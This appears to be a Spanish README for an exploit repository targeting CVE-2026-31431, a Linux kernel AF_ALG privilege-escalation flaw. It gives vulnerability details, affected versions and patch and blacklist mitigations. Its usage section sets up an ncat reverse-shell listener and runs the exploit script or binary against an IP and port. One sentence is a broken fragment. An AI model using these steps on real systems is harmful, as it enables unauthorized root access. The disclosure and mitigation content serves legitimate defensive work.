
Exploit de escalada de privilegios local para CVE-2026-31431, una falla lógica en AF_ALG del kernel de Linux que permite a usuarios no privilegiados escribir 4 bytes en la caché de páginas y obtener acceso root. Incluye script PoC y guía de mitigación.
Copy Fail es una vulnerabilidad de escalada de privilegios local (LPE) de alta severidad en el subsistema criptográfico del kernel de Linux (algif_aead). Descubierta y divulgada por Theori (a través de su herramienta de investigación de vulnerabilidades asistida por IA Xint Code) el 29 de abril de 2026, el fallo permite a cualquier usuario local sin privilegios escribir 4 bytes controlados en la caché de páginas de cualquier archivo legible — y aprovecharlo para obtener root en prácticamente todas las distribuciones principales de Linux lanzadas desde 2017.
Un exploit de prueba de concepto funcional tiene solo ~732 bytes de Python.
sudo ncat -lvnp PUERTO
# Usando el script de Python
python3 CVE-2026-31431-Exploit.py IP PUERTO
# Binario compilado
chmod +x CVE-2026-31431-Exploit
./CVE-2026-31431-Exploit IP PUERTO
AF_ALG y vincularlo a authencesn(hmac(sha256),cbc(aes))Esencialmente todas las distribuciones principales de Linux lanzadas desde 2017 están afectadas.
Actualice su kernel a una versión que contenga el commit de corrección fafe0fa2995a. La mayoría de las distribuciones principales han lanzado o están lanzando paquetes de kernel actualizados.
Si no puede parchear de inmediato:
algif_aead:
echo "blacklist algif_aead" | sudo tee /etc/modprobe.d/disable-algif-aead.conf
sudo modprobe -r algif_aead 2>/dev/null
Este repositorio es solo para fines educativos y defensivos. La información aquí contenida tiene como objetivo ayudar a los equipos de seguridad a comprender, detectar y mitigar CVE-2026-31431. Siga siempre las prácticas de divulgación responsable y las leyes aplicables.
| Campo | Detalle |
|---|
| ID CVE | CVE-2026-31431 |
| Puntuación CVSS | 7.8 (ALTA) |
| Tipo | Escalada de privilegios local (LPE) |
| Componente | algif_aead — interfaz criptográfica AF_ALG del kernel de Linux en espacio de usuario |
| Causa raíz | Fallo lógico en la plantilla AEAD authencesn; una optimización in-place (commit 72548b093ee3, ago 2017) hace que las páginas de la caché de páginas aparezcan en la lista dispersa (scatterlist) de destino escribible del kernel |
| Primitiva | Escritura controlada de 4 bytes en la caché de páginas de cualquier archivo legible |
| Mecanismo del exploit | Socket AF_ALG → splice() → corrupción de la caché de páginas de un binario setuid → root |
| ¿Condición de carrera? | ❌ Ninguna — fallo lógico directo, 100 % fiable |
| ¿Se necesita offset del kernel? | ❌ No |
| Commit de corrección | fafe0fa2995a (revierte la optimización de 2017) |
| Afectadas | No afectadas |
|---|
| Kernel de Linux 4.14 hasta 7.0-rc | Kernels anteriores a 4.14 (antes del commit de ago 2017) |
| Todas las 6.18.x anteriores a 6.18.22 | 6.18.22+ (parcheadas) |
| Todas las 6.19.x anteriores a 6.19.12 | 6.19.12+ (parcheadas) |